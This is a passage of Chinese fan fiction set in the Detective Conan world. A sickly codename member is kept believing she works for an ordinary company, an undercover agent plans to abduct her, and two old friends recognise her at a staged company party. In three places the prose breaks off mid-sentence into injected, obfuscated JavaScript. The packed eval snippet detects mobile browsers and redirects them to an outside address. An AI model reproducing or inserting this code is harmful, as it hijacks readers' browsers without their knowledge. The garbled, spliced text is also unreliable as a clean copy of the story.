旧友相逢有说不尽的话,欢乐的时光过得格外快,两个人还在争辩谁小时候更怂更淘气,莲佛七叶错眼间见到了拧着眉头、十分严肃的史密斯大厨。他从附近的大阪烧店里出来,去了便利店。 嗯? 琴酒主管怎么回事,新换的这位厨师这么糊弄工作没人投诉吗? 莲佛七叶坐不住了,与来间娜塔莉告别,大摇大摆地去跟踪拿便利店三明治冒名顶替的史密斯大厨。 笑死,脚步也不会收,视线也不会藏,比捉奸的大婆都张扬,一进去就被一脑门黑线的余市威士忌当场抓获。 18.第 18 章 第18章雷霆小怒的娜娜姐 余市威士忌要么是外国人,要么是混血,老得比东亚人快。他是一位很严肃的男性,人到中年,抬头纹、川字纹、法令纹都非常明显,喜欢皱眉。 看上去很凶。 很正常。 他这个年龄的男人在日本,正值各行各业各个领域、手里攥着所能拿到的最大权利和财富、在身后为后来者竖起坚实的玻璃天花板的当打之年,至不济也能在与妇女儿童组成的家庭里当个土皇帝,照镜子都只能照见“一个人”。 最后半句是莲佛七叶从不知哪本闲书里看来的,应该是嘲笑美国隐形歧视链的讽刺漫画,讲四个人照镜子,第一个人看见了“一个人”,后面两个分别看见了“一个女人”和“一个黑人”,末了那位看见了“一个黑女人”。 看的时候不觉得如何,可是后来,随着年龄增长和阅历增加,“一个人”究竟是“一个什么人”的念头,就总在她动不动就罢工的大脑里闪烁。 不过这会儿莲佛七叶的重点没放在余市威士忌的本身上,她发誓她的两只眼睛同时看到!史密斯大厨站在收银台前,面前摆着三明治、饭团和盒装牛奶,正是她这些日子每天都在吃的东西。 果然!琴酒主管新请来的这位厨师问题很大! 她脸上写满了“我怀疑你有问题,现在我找到了证据!”的控诉,余市威士忌又不是瞎子,怎么可能没发现?可他没有半分“干活摸鱼被抓到了”的不安,特别镇定地露出不赞同的表情,先声夺人: “你怎么又跑出来了?医疗部那边监测不到你的生命体征,上报了。琴酒主管在派人到处找你。” 莲佛七叶气哼哼地说: “你给我连续吃了一百年的饭团和三明治,吃得我人都要变成饭团和三明治的三角形了!这是虐待!虐待!” 余市威士忌面不改色,结了账,谢过店员,走到莲佛七叶面前,带头往外走,还是那副长辈面对不争气的晚辈的恨铁不成钢的样子,丝毫没有被指出错误的慌乱,语气还是那么居高临下的“长辈式发言”: “小孩子挑食可不好,蛋白质、脂肪、碳水化合物、膳食纤维和其他微量元素都要均衡摄入才行。” 言下之意,他提供的食物营养充足且均衡,是莲佛七叶自己不好好吃饭,才这样不健康,推锅推得干干净净。 这下把小猫头鹰气炸了,都没注意到糊里糊涂地跟着他走到了街上,眼角余光瞥见了刚才余市威士忌出来的那家大阪烧店,指着店面怒道: “可你明明刚刚在那里度过了充实而满足的时间!” 此言一出,更像捉奸了。虽然莲佛七叶的外表不太像与世俗的婚姻有什么关系的样子,两人年龄相差也略微悬殊,可另一方是个外国人诶,外国人审美多离谱的都有,再奇怪也不奇怪。 在莲佛七叶的认知里,余市威士忌aka史密斯大厨,少言寡语,不爱搭理她,办事还很不靠谱,给她送饭的时候总是敷衍潦草,甚至是各种各样花样出奇的敷衍潦草: 简单粗暴的烤肉+土豆的一百种死法——一日三餐,一周七天,一月四周,霍格沃茨分校打过来了吗? 混凝土炖皮带——史密斯大厨的雪耻之作,理想造型可能是红酒炖牛肉,因为某位病号要避免摄入酒精,去掉了红酒,硬炖,加上了紫洋葱和胡萝卜,炖了至少四个小时。莲佛七叶怀疑她花八个小时也休想咬下来一口。 自由落体肉酱——到底是怎么把简单好做有手就行的德式肉馅饼做成了死不瞑目的一滩血肉样?怎么做到的?为什么小面包、西红柿、牛肉馅、玉米粒、香草类蔬菜这些怎么做怎么好吃的食材做成这样的?? 此外还有沥青烩钢筋、沙子煮石头、沼泽一锅端等分辨不出本身食材的创意料理,和被莲佛七叶开除出甜品籍贯的甜品,包括杀人水果派、杀人水果酱、杀人巧克力、可能是史莱姆的不明物、可能是龙牙的不明物…… 这样看来,便利店饭团和三明治真是眉清目秀惹人怜爱。 问题是在她投诉以后,余市威士忌再来给她送饭,就会带两份过来,先心平气和地吃掉其中一份大的,再等她吃完那份小的,回收餐具走人,这样还起到了避免食物残渣生虫的额外效果。 再糟糕的食物,有人一起吃,感觉也会稍微好一点点。尤其她还从伏特加那里得知了史密斯大厨的凄惨身世: 日美混血,小时候受尽霸凌,好不容易长大成人,娶到了心爱的女人,孩子还没来得及出生,怀孕的妻子就出意外去世了。为了抢救妻子,他花费了大量钱财,还借遍了所有可以借钱的地方,要是失去这份工作,他就要走投无路了。 莲佛七叶心生怜悯,感叹道: “原来他是寡妇啊。” 伏特加敬佩地注视着她:古文字研究员能有这么磕碜的文化水平也怪不容易的,随口纠正了“那叫‘鳏夫’”。 所以说,自从他成为了新的大厨,她的饮食水平直线下降她都忍了,但他怎么可以吃独食? 莲佛七叶的“度过了充实而满足的时间”算是阴阳怪气地说怪话,想法和目的都很纯粹,可这种说法有着很泛用的撞见了出轨现场的暗示意味,路人哪怕没有谁在光明正大地看热闹,也会时不时飘来一些鬼鬼祟祟的小眼神。 她从小到大一贯是不怎么在乎路人的目光的,注定短暂的生命中,每一秒都很珍贵,怎么可以浪费给无关紧要不请自来的看客? 余市威士忌不想无谓地引人注目,摆出了个“有请”的手势,言简意赅地说: “收到了‘请停止你的美式料理’请求后,为了提升烹饪水平,我到访各种品类的具有好评的日式料理店铺,品尝、观摩、学习。这家味道尚可,然而我还没学会做法,不如继续维持平时的食谱,掌握新菜以后再推广。” 他的意思是请莲佛七叶在这家试吃,尝尝是不是符合心意、以后要不要照着这种风格改进。 这当然不是任何一家提供食堂的公司的食堂员工会做的事,可一个连“食堂工作人员组成”都毫无概念的笨蛋怎么可能察觉到异常? 莲佛七叶的眼睛噌的一下亮起来,对美食的追求和对越狱的爱好一样写在了她的DNA里,与来间娜塔莉一起品尝的甜点被她转移到了另一个胃,她高兴地答应下来。 去而复返的余市威士忌让大阪烧的老板有些意外,不过有客人介绍新客人来就餐总归是好事,乐呵呵地去按照点单准备食物。 莲佛七叶有轻微的话痨属性,即使一个人呆着的时候都会时常给自己创造对话,现在面前有个别的大活人,哪怕是她不怎么喜欢的总板着脸还做饭难吃的厨师,她也想说点什么。 也许是难得在公司外面聚餐,不再时刻与保密事务为伴,余市威士忌注意到她跃跃欲试的眼神,稍微放缓了神态,以他每次出现在莲佛七叶面前的平均状态来评估,不那么臭的臭脸几乎称得上“和蔼可亲”了。 先开口的是把同事释放的信号解读为“危机解除”的莲佛七叶,她好奇地盯着铁板上滋滋作响的面糊,不知道在跟谁说话: “老板的口音和我听过的大阪话不太一样呢。” 准备菜品的老板是位比余市威士忌年轻一些的中年男性,脸上挂着笑,闻言笑得更夸张了些,加大话语中关西方言的浓度,应和道: “小小姐好耳力,听得太对了。我在和歌山出生的,长大了才去的大阪,后来又搬到东京,天长日久,哪里话说得都不标准。” 余市威士忌很随意的在这里插了话: “莲佛桑是大阪人么?我就分辨不出这些话的区别。” 莲佛七叶对这种问题没有戒心,她能意识到严格保密的只有她的研究项目与研究成果,于是也很随意地回答了: “不是呀。以前的医疗团队里有个家在道顿堀的小姐姐,她说话很有趣,还教过我几句呢。” 她兴致勃勃地卖弄了几句关西极道的黑话,老板笑得差点把做到一半的御好烧铲飞,余市威士忌也比之前更放松了,用一种悲痛又怀念的眼神打量着她,关心似的说: “太太走之前要是留下了孩子,应该也有你这么大了。你的双亲还好吗?” 莲佛七叶被他问得一愣,随后想起来他是个失去了孩子的寡妇(划掉)鳏夫,以她特有的温柔体贴,回答道: “应该还好……?上次见到他们遥远得都像上辈子的事了。” 她的温柔体贴体现在没有在同事前辈面前表现出对父母亲人的思念,免得在鳏夫面前强调他老婆孩子都死了的情况。 余市威士忌也顿了顿,好像把她的欲言又止理解为了“父母已经不在人间”的委婉说辞,在“坦率道歉”和“装傻继续追问”之间选择了后者: “别难过。离开这个世界的人会变成天上的星星,思念他们的时候仰头看看星星,说不定还听到你的爸爸和妈妈在梦里的回应。” 莲佛七叶再次愣住,蓝色的大眼睛瞪得滚圆,就像余市威士忌(Nikka)突然变成了尼康照相机(Nikon),震惊得都快口吐乱码了: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079939|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你说的是哪个爸爸妈妈?” 余市威士忌听这话听得分不清到底是谁日语不好,难道谁还能有复数的父母吗?转瞬间,他就联想到了可能的答案:弃婴、孤儿、重组家庭的孩子。 她会属于哪种? 以他的阅历和水平,早就看出来了她的涉世不深——“有问必答”“轻信他人”“喜怒形于色”,全是没出社会且年龄偏低的菜鸟标配——套她的话可太容易了,比套话更容易的是直接问: “你有几个爸爸妈妈?” 莲佛七叶低下头,思考了一会儿,迷惘地说: “……已经一个都没有了。全都没有了。” 为什么能把“双亲”说出一种“钱包里的万元大钞”的感觉? 余市威士忌还想再问,大阪烧好了,她的注意力完全从“无聊的中年同事”身上转移开,满眼满心都被热气腾腾的小吃占据,不想再理会他。 他只好趁着刚出炉的美食还太烫、无法下嘴的间隙,问出最后一个问题: “你怎么知道我发现了这家好吃的店的?” 骷髅架子穿冬装的奇怪年轻女孩手都拿到了筷子,听到他发言,略有不耐烦,还是放下筷子,飞快回答: “我吃酸奶碗的时候亲眼看到的!你在背着我……呃……” 她反应过来了,她是偷跑出来的!而且她吃胡萝卜蛋糕和酸奶碗是不是也算一种偷吃食堂外的美食? 当然不是! 她这是、她这是……是“品尝、观摩、学习”更多美味,丰富就餐经历,提升鉴赏能力,监督笨蛋又糊弄的史密斯大厨公司食堂的业务水平不断进步! 目睹着她从指责到恍悟到心虚又到完成了自我说服、重新回到理直气壮、全神贯注地开吃的一整套变化过程,余市威士忌懂了,是巧合。 今天的巧合太多了: 他其实不太喜欢这家不怎么正宗的大阪烧,喜欢的是大阪当地通天阁附近的那一家,店主是位爱好推理的老头子,和他很有共同话题,很聊得来。 路过这家店纯属凑巧,来都来了,顺便借味道一般的御好烧,心底暗中怀念了一番活在过去的时光里的人,出门前想起了近期每日任务里的某一项,出门找了家便利店做好速通的前置准备。 没想到能遇到撞上门来的出逃奥比昂。 奥比安吃起饭来和普通的小孩子没什么区别,吃相不难看,餐桌礼仪显得很有教养,看不出来她除了特别不健康,还有哪里特别的。 他整理着脑内的信息:“奥比昂”的代号来自于一种作为收藏品的意义远远大于拿来饮用的奢侈品葡萄酒,她也确实被珍藏密敛,鲜少出现于人前。 他获得代号的时间不长,此前的四年中从未听说过她的存在,被琴酒临时抓壮丁负责给她送饭时,才讶然得知竟然还有这种与世隔绝到连就餐都要由代号成员服务的神秘人士存在。 琴酒冷酷地告诉他: “余市威士忌。陪奥比昂过家家的任务,就交给你了。但凡让她产生了‘你是我聘请的新厨师’以外的多余想法,做好准备和你控制不住舌头的大脑告别吧。” 奥比昂是谁? 一个和他女儿差不多大的小姑娘,竟然是组织内资历丰厚的干部级人物。 尽管她本人对此毫无自觉。 她似乎长期处于非常特殊的状态下,没有受到过正常的集体教育,严重缺乏常识,真情实感的以为自己是在某家公司上班,工作内容不可以告诉其他部门的同事。 由于他只能在她的办公室与她接触,同时无论她的办公室还是通往她办公室的独立走廊,都安装了用来检测生命体征的热成像摄像头——明晃晃的,大大咧咧地戳在那里,密集程度都可以用来测算步速。 在不能确定有没有其他更多固定在她的金丝笼上的非凡手段之前,他不可以表现出任何多余的好奇心,和进一步打探的意图,谁知道这是不是又一重对忠诚度的考验? 现在就不一样了。 她自己跑出来了。没有人知道她在哪里。也不会有人知道她是怎么“失踪”的。 要是这家店是大阪的那家就好了,联系他真正为之服务的部门同事会方便很多。他的“公司”干这行可太专业了。 那样的话,他就不需要像个变态的绑架犯一样思考,如何在没告知联络员、并且缺乏援助的前提下,让组织内讳莫如深的珍品葡萄酒,悄无声息地从“深埋地下的酒窖”,转移到光明正大的“博物馆”或“展示台”上。 19.第 19 章 第19章想看热闹的娜娜姐 莲佛七叶没有读心术,不可能隔空看穿余市威士忌的想法,更不可能凭空知道这个男人是个NOC。 她正忙着品尝余市威士忌盛赞的御好烧。 说实在的,味道很一般。 面饼很难咬,虾肉没处理好,腥气特别重,培根略咸,口感上咸淡分布呈现“一惊一乍”的情况,最为灵魂的秘制酱汁最难吃,具体描述口感怪恶心的,不描述了。 她无论哪对父母,算上舅舅舅妈和表兄表弟,这位老板的手艺没有超过她家里的任何一个人,也就勉强能够与某只完全不会做饭的黑脸野猫打个五五开。 不过考虑一下余市威士忌本人的料理水平,他会觉得好吃,也不是不能理解。 脑子理解了,舌头没有。 莲佛七叶不太想吃了,可她接受过的教育包括“不能剩饭”。很久以前她不想吃了的时候会有人代劳,不会让她产生做错事的罪恶感,现在没有。 余市威士忌简直是琴酒主管派来折磨她的。他的味觉就是灾难。 回去以后罢工吧,不然就绝食。 余市威士忌注意到了奥比昂的表情变化——再像一具骷髅架子,她也不是真的死体遗骨,干枯的面容上表情虽然远比一般人抽象、难以解读,到底还是可以解读的。 等待食物期间,她是期待。开饭被他延误,她是烦躁。挟起一筷子送进嘴里的时候,她眉开眼笑,然而咀嚼几下,就变成了深深的疑惑。 她不信邪地又多吃了几口,表情渐渐转化为“高兴不起来”。最后稳定在“我不能浪费食材原料,那是对农民的不尊重”。 店老板可能也看出来了,脑门开始冒汗了。 余市威士忌倒是没有冒汗,他有些惋惜——“美食破冰”计划流产,他请奥比昂吃的这顿饭不符合她的口味,不但没有拉高她的好感度,反而让接下来诱导她去他们的人的地盘的行动更加困难了。 负责她的饮食以来的日子,他对奥比昂的食欲和食量有了比较充分的了解。 她有着大象的眼睛和小鸟的胃口,非常渴望那些列在她的医嘱禁食目录里的美味食物,不过实际上会给什么就吃什么,吃得不多,消化也差。 店里的三个人安静到奥比昂细嚼慢咽完全部的大阪烧,表情几乎完全构成了“狰狞”级别,所有被她注视的可食用物体,仿佛下一秒就要被她尝都不尝就生吞活剥,好弥补牙齿和舌头在刚刚的进餐活动中的受到的折磨。 余市威士忌不好干看着她一个人吃饭,也点了些小食什么的作陪,估测着她的速度,和她在差不多的时间吃完,取消原计划中关系好转后邀请她散步消食的说辞,改为不会引起她怀疑的另一种暗示: “我送你回公司。你想怎么回去,坐车还是步行?” 不管哪种,他都可以变更目的地。开车载她更方便,步行的话就要考虑中途把她击昏带走的细节。 奥比昂看他的目光非常不满,她在评估和判断,眼神里全是负面情绪,全盘拒绝的可能性很高。 或许要把诱导改为更直接快捷的行动方式。 “不用了,我自己回去。你走你的吧。” 果然,她拒绝了。 不过“不满”和“怀疑”是两码事。 余市威士忌的头脑高速运转,他必须立刻决定接下来是“强硬恐吓”还是“怀柔示弱”,让奥比昂能够自愿与他一起离开这家餐厅,不至于让老板留下深刻的“有个外国人强行带走了一个病弱的女孩”印象。 脱离组织的巢穴、自身没有武力值、长期处在严密的保护/监视状态下、严重缺乏社会经验、明显很有来头的“代号干部”,是值得他冒险捕捞的“大鱼”。 ——其他人是凭借多年的杀人放火干脏活、证明了“能力”和“忠诚”,获得了组织boss授予的“代号”,她凭借的是什么呢? 有资本让琴酒那种顽固的强硬派都可以“陪她过家家”,将她的认知维持在“她在一家公司上班”的限度内,为什么不让她脱离犯罪组织的冷酷控制、为了更伟大的国家发光发热呢? 何况一看她的身体状况就能猜到,组织对她只有压榨,没考虑过她是个重病缠身的小孩子。全世界医疗水平最高超的地方,当然在美国。CIA会让她过得更好、更健康。 错过这次机会,不一定还有下一次。负责在她非常少见的外出时盯梢和追踪她的,一般是伏特加。伏特加愚蠢笨拙,但对组织的死忠无法撼动。 他对奥比昂的了解太少,她又显然没有她这个年龄段的年轻女性的普遍成长轨迹与共性心态。 譬如“对年长男性的默认尊重与乖顺听从,即使心中讨厌也不会表露在外”。当然“维持表面和谐”、藏起“真正的想法”属于国民共识,不仅限于年轻女性,但哪类人被审视得更严格,也不必言明。 奥比昂因为没有这种意识,有时候“就像外国人一样无理”:不管是他还是谁,提出了要求以后,她想拒绝就会拒绝,没有拿着符合她的身份的社交剧本、扮演她应有的社会角色。 遵守规则的人可以通过规则去驱使,不懂规则存在的野兽没办法这样。如何对待她才能让她按他的计划行动,只能靠“赌一把”。 “我不怎么喜欢你这样的小姑娘,有几分小聪明,就任性、刻薄、骄横,难以相处。”余市威士忌皱着眉头,给出了非常尖锐的抨击。 奥比昂的情绪成功被他调动,她眼中的不满堆积起来被点燃,化作了强烈的愤怒。 抢在她开口反驳之前,余市威士忌立刻抛出“欲扬先抑”的转折点: “不过你在工作中认真负责,细致严密,是公司里不可多得的人才。——当年,我的妻子,就是因为我忙于工作,没有送她回家,出了意外。所以就算我不喜欢你,也不能放任你就这样到处乱跑。走吧,上车。” 赌对了。 奥比昂的眼睛里依然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086421|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满是怒火,但“卖惨”让她的情绪冷却了些,没有针锋相对地骂回来。 情绪不再主导她的行动时,“工作”显然占据了她头脑中相当靠前的优先级,她的注意力转移了,为了更快回到“工作地点”,搁置了对他的言行的不满,站起身一言不发地往外走。 余市威士忌为她开了门,走在她的前方引路,带她去他停车的地方。 外面的雪还没停,奥比昂揣着手紧跟着他,似乎把他当成了一堵移动墙壁。路面湿滑,她走平路走得尚且平稳,遇到风或者转向时就有点失衡,还在顺风时不小心拍在他背后一次。 “讨厌而可靠的人”也能赢得她的一点点信任,这场意外让奥比昂不再全盘抗拒他,余市威士忌的绑架计划胜算更高了。 可惜天下事不如意者十常八九,他的车旁边停着的正是琴酒那辆老爷车,伏特加没在那里,琴酒顶风冒雪的靠在车边抽烟。 见到奥比昂像一只跟在鸭妈妈身后的小鸭子一样蹒跚地出现,琴酒一口把剩下的半支烟全部吸完,烟头丢在地上狠狠地踩了一脚,冷冷地嘲讽道: “你翘班以后,你的办公室失窃了。托你的福,玩忽职守、懈怠工作的安保人员全部被开除了,高兴吗?” 莲佛七叶非常惊讶——她没见过公司里还有“安保人员”存在,转念一想,绝大多数时间里她除了医疗部门那些大坏蛋,一个人也见不到,所以琴酒主管是在用不存在的人不存在的工作威胁她吗? 更重要的是: “失窃???” 想到这个词都觉得心口一空,那些无数昼夜里殚精竭虑地分辨、归类、转抄、翻译的铭文字书,那些错综复杂的古今异义和早已失传的典故双关,麻痹感随之蔓延全身,意识飞速远去,眼前出现黑蒙。 琴酒冷笑着抓住她的手腕把她塞进车里,不知道他怎么抓的,痛得她一个激灵,昏厥慢了一拍。这让她来得及听完后半句话: “不想让这种事发生就老老实实呆在你的地盘。一边能被一句话就吓死,一边像老鼠一样胆大包天地到处乱跑,就是你的工作态度吗?” 原来真的只是在吓唬她。莲佛七叶松了口气,出窍到一半的灵魂重新归位,气鼓鼓地瞪视琴酒前辈。 琴酒前辈在跟余市威士忌说话,委婉地表示如果他再用难吃的饭把人挤兑走,干脆切腹自尽做大肠刺身好了,也算废物利用。 余市威士忌没有跟他抬杠,对话结束,没管他自己的车,钻进琴酒的车厢,干巴巴地向莲佛七叶道歉,随后坐在后排的空座上。 这时伏特加拎着大包小包回来,发现奥比昂居然自投罗网,非常开心地宣布了一个好消息: 贝尔摩德结束对分公司的巡视,回归总公司以后,提出了一系列员工福利改善项目,其中包括针对奥比昂这种社交封闭的专业技术岗专业人士的诉求,大老板决定今年拨款让各分公司开办年会。 噢噢噢噢好耶!有热闹可以看了! 20.第 20 章 第20章参加年会的娜娜姐 年会的举办日期在新年假期之后,差不多到了二月底,开得早的樱花都粉白一片了。 这是欺负奥比昂不懂行,不知道年会一般是在年底假期前举办。 ——行动组在年底是很忙的,忙着到处要账和收保护费,收集阔佬黑材料卖个高价,没空陪组织的人形珍贵资产过家家。 二月要从波士顿接回组织的另一个人形珍贵资产,这种在外面野久了的小家伙可能学坏了不听话,得先隔离观察一段时间,确定她是不是依然效忠于组织。 这之后没有大事了,才轮到等待期间又发病一次、昏睡两个月后自动醒来,论文进展聊胜于无的奥比昂,心心念念的“年会”。 打她入职以来,没有过这种活动,也没听说过。 莲佛七叶不知道“公司年会”具体会有怎么样的表现形式,她是按照寄居在寺庙时的节日庆典来想象的。 新年的“初诣”、立春的“节分撒豆”、春分秋分的“彼岸会”、年中的“盂兰盆节”、秋日的“地藏盆节”、还有一些听梵院专属的开山祖师忌啦、缘日庙会啦,要么热闹要么郑重,要么又热闹又郑重。 可能要辜负她的期待了,因为琴酒不参加宗教节庆,也没见识过公司年会。 “组织”成为“组织”以后,从来没有过类似的活动。 ——不然呢?按照流程,主持人bb一通,大领导出席,总结过去的一年成就,感谢全体员工,表彰优秀员工优秀团体,聚餐、趴体、小游戏,最后总结陈词,期望来年,然后各部门酌情去KTV续摊儿。 大老板都多久没现身于人前了?二号人物朗姆的脸有几个知道的?情报组一个个神神秘秘,行动组以琴酒为代表都是些什么画风?还有自从11年前的宫野夫妇死了以后群龙无首的医药研发部门,有一个像话的东西吗? 想象一下,一个站在幕布前,对着PPT,讲述先进员工事例的boss: 在过去的一年中,我们杀了多少人,放了多少火,绑-架了多少肉-票,做了多少回白手套,邀请进来多少科学家新人……年度敲-诈-勒-索业务优秀工作者是谁,年度八个蛋最佳推销人员是谁,年度政企合作合则聚不合则霰弹零投诉满意之星是谁…… 阶梯座椅排排坐,第一排颔首微笑、带头给boss鼓掌的朗姆。 跟朗姆排排坐的老员工代表皮斯科。 抱着抽奖箱的贝尔摩德。 表演节目的伏特加、龙舌兰、余市、奥比昂、基安蒂、科恩、卡尔瓦多斯,想不出来什么节目那就《三大天鹅》和《四小天鹅》…… 能想象吗? 就算能,琴酒的权限也调动不了这所有人配合他啊。 贝尔摩德来日本逛了一圈,竟然从boss那里给他布置下这么个离谱的任务,他简直要暴跳如雷。 可是再生气又能怎么样呢?总不能追到美国去把贝尔摩德一枪崩了吧? 琴酒派伏特加绑来一位庆典公司的策划人员,穷凶极恶地审问出“公司年会”的具体形式和所需物品。 在死亡动力的驱使下,策划师以前所未有的超高效率爆肝出了企划书,琴酒审核通过,满意地把策划师随手杀了扔海里。 然后开始删掉企划书中没必要和无所谓的环节——奥比昂是个从来没出过娃娃屋的芭比公主,特别好糊弄,她满脑子想着的,除了那些布片、金属片、泥板和壁画上歪七扭八蝌蚪,只剩下“吃喝玩乐”。 领导致辞?删。优秀员工表彰?删。自助餐?保留。表演节目?删。……可以不删,今年分到他这里的新人好像有擅长乐器的,可以,到时候把那条杂鱼叫来,表演给奥比昂看。那个蠢货估计还会当成迎新仪式呢,呵。 其他部分都删删删,以体弱不能长时间出席为由把奥比昂关回她的笼子就行了。 ****** 从日期到形式全都经过大幅度魔改的“年会”如同琴酒预期的那样顺利举办。 贝尔摩德又从美国跑过来凑热闹,目的有三:和琴酒调马天尼,品鉴雪莉,观察奥比昂。 她来得正好,虽然琴酒很难理解,但事实就是,贝尔摩德在的时候,奥比昂会比平时微妙的更听话,没有平时工作告一段落闲着没事放松大脑时削尖了脑袋也要越狱的业余爱好。 其他人有多余的想法的时候一枪托砸下去了就老实了,奥比昂随便教训一下就去世了,打不得沾不得,吓唬她都不能吓唬太狠,比如让她去审讯室关刑——受刑的人还没怎么样,她见血就敢心搏骤停。 组织的洗脑手段也不太好对她使用,大老板非常需要她在转译解读古代文字方面独一无二的天赋,再温柔的洗脑也会有所损伤,库拉索洗了几次越洗越傻,奥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091078|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比昂的全部价值都体现在她的头脑上,绝不容许有一丝一毫的损失。 只有在一开始没研究好怎么摆放她的位置时,医疗组通过一些技术手段让她稍微忘记一些有害她的健康的画面。 如今这只开心的金丝雀正在高兴地参加仅仅包含了“自助餐”和“小型趴体”两个项目的“公司年会”,始作俑者贝尔摩德代表根本不存在的总公司发言致辞,把出席的“分公司重要工作人员”们不存在的事迹夸了一圈。 奥比昂听得睡着了。 以她对贝尔摩德的超高好感度,都没能拦住她在如同念经的程式化发言词中投入睡神的怀抱。 琴酒站在黑暗的角落里,朝贝尔摩德递过去一个嘲讽的笑容。 分公司重要工作人员们各怀心思,叽叽喳喳议论纷纷。 琴酒坐视了混乱发生,故意看贝尔摩德的笑话。 贝尔摩德能当世界级别的大明星,美貌不过是最微不足道的一环,她在角色扮演时的信念感强得可怕,抑扬顿挫地把她的台词全部念完才停下,根本没有直接融入混乱。 结束以后奥比昂还没醒,贝尔摩德目视与组织打手们的位置稍有距离的那个人,琴酒知道他是谁: 与会者除了这场家家酒的核心奥比昂,和平时就在外面抛头露面的行动组以外,还不请自来了朗姆座下的情报屋、入职不久即获得代号的波本威士忌。 这个金发黑皮的讨厌鬼不愧“情报屋”之名,实在擅长钻营,不知道从哪里打听来了琴酒安排行动组新干部苏格兰威士忌给奥比昂弹贝斯的秘闻,背着吉他包来的。 酒会进行到下一阶段,贝尔摩德弹钢琴、波本弹吉他、苏格兰弹贝斯。 奥比昂悠悠醒转,灵魂姗姗来迟,一抬头,发现讲台变成了舞台,上面三位熟人正在奏乐。 ……一定是她没睡好掉进更深一层的梦里了。 茫然四顾,见过和没见的同事们的脸在她身周,有人专注于演奏,有人也在打盹,有人无聊得都快挠猫抓板了,和他们平时的表现差不多,好像确实回到了现实。 ——所以说、亲戚家的弟弟,街坊家的发小,为什么会出现在这里? 超级超级久远以至于模糊不清的记忆里,她隐约记得,这两个家伙不是去组建乐队了吗?连艺名都取好了,不许她再提一句他们的真名,怎么又跑来考古公司来混日子? 22.第 22 章 第22章出席葬礼的娜娜姐 奥比昂的奇思妙想不受追究,不意味着她的意见会被重视。 这位现年25岁的代号干部、不知道被组织扣押了多久的囚徒、同龄人中有人孩子都上小学了的姐姐,处在了一种相当微妙的状态中。 她似乎认为她所服务的是一家公司,而且是一家正常的、普通的、和“杀人放火”“违法犯罪”没有关系的公司,其他今天出场的代号干部们也在维系着她的这种认知。 以琴酒为首的资深犯罪组织成员们,把她视作了不具备思考和辨识能力的幼儿,在陪她“过家家”。 苏格兰和波本很快就意识到了这一点。 虽然心中惊涛骇浪涌动不休,两个人还是完美地扮演着“寡言少语的新人狙击手”和“人嫌狗憎的神秘主义者”角色,无论是两人之间,还是分别与奥比昂之间,都是“我不认识你”的样子。 苏格兰威士忌,原名“诸伏景光”,现年24岁,警视厅公安部警察,内部代号“鹦鹉螺”。 化名“绿川唯”,捏造了27岁的假身份,以“为复仇不择手段的灭门血案幸存者”身份,潜入活跃于国际和国内的犯罪组织,进行调查。 波本威士忌,原名“降谷零”,现年24岁,警察厅警备局警备企划课警察,内部代号“闹钟”。 化名“安室透”,以年龄出身皆不详的“神秘主义者”“近二年活跃于黑市的情报屋”身份,与划分到不同部门、经过了不同时长的秘密培训的发小,潜入了同一个犯罪组织。 今天也是他们“毕业即失踪”后的第一次见面。 但他们两人的相见再怎么说都好办,经过严格训练的卧底能够轻松应对重逢带来的意外,难以应对的是,他们绝没想过,竟然在这里,见到了最不该出现在这里的那个人。 他们认识她,他们当然认识她。 人的一生中,总会有一个让小孩子理解和领悟什么叫“死亡”的角色,太小了不懂事没实感,太老了又对离别早有预期,他们第一次真正明白什么是“永久的诀别”,就是因为相当于“同龄人”的她,骤然离世。 原来,朗姆派波本来探探深浅、琴酒支使苏格兰假装参加公司年会的新人乐手、所有人不约而同地编织和维系谎言的对象,那个“别跟她说出一个多余的字”的“奥比昂”,是她啊。 是娜娜姐啊。 ——形容枯槁憔悴、瘦得没有一点肉、俨然一具行走自如的骷髅、甚至外表上都看不出以前的她曾经和诸伏景光有着一双形状非常相似的猫眼的幼驯染。 他们和她的最后一次相见,是在一场葬礼上,她以遗像的形式出席。 她因为觉得自己瘦得不好看,讨厌拍照,讨厌“留下难看的证据”。黑白照片上的她是从三个孩子一起堆雪人的照片里截出来放大的,她戴着厚厚的帽子和毛茸茸的耳套,笑容灿烂。 望月七宫,收养诸伏景光的姑妈家的独生女,幼时的降谷零家住得不远的街坊。 他们三个一起度过了短暂的童年时光,还没等他们长大,她就去世了。 诸伏景光和降谷零都记得很清楚,那个他们还是孩子的大雪天,望月七宫自称过生日、要出去玩雪,不同意就像个陀螺一样满地打滚。 